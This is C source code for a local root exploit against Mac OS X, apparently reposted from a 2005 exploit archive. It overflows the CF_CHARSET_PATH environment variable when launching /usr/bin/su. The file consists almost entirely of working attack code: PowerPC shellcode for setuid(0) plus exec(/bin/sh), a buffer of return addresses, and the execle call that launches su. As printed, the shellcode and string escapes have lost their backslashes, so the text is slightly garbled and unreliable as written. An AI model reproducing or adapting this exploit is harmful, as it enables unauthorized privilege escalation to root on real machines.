/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
*                                                         *
* by: v9@fakehalo.us (fakehalo/realhalo)                  *
*                                                         *
* found by: iDefense (anon finder)                        *
*                                                         *
* saw the advisory on bugtraq and figured i'd slap this   *
* together, so simple i had to.  exploits via the         *
* /usr/bin/su binary.  you must press ENTER at the        *
* "Password: " prompt.                                    *
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"x7cx63x1ax79x40x82xffxfdx7dx68x02xa6x3bxeb"
"x01x70x39x40x01x70x39x1fxfexdfx7cx68x19xae"
"x38x0axfexa7x44xffxffx02x60x60x60x60x7cxa5"
"x2ax79x38x7fxfexd8x90x61xffxf8x90xa1xffxfc"
"x38x81xffxf8x38x0axfexcbx44xffxffx02x7cxa3"
"x2bx78x38x0axfex91x44xffxffx02x2fx62x69x6e"
"x2fx73x68x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)nn");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
printf("[*] setting up the environment.n");
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the "Password: ""
" prompt)nn");
if(execle("/usr/bin/su","su",0,env))
 printf("[!] failed executing /usr/bin/su.n");
exit(0);
}

// www.Syue.com [2005-03-22]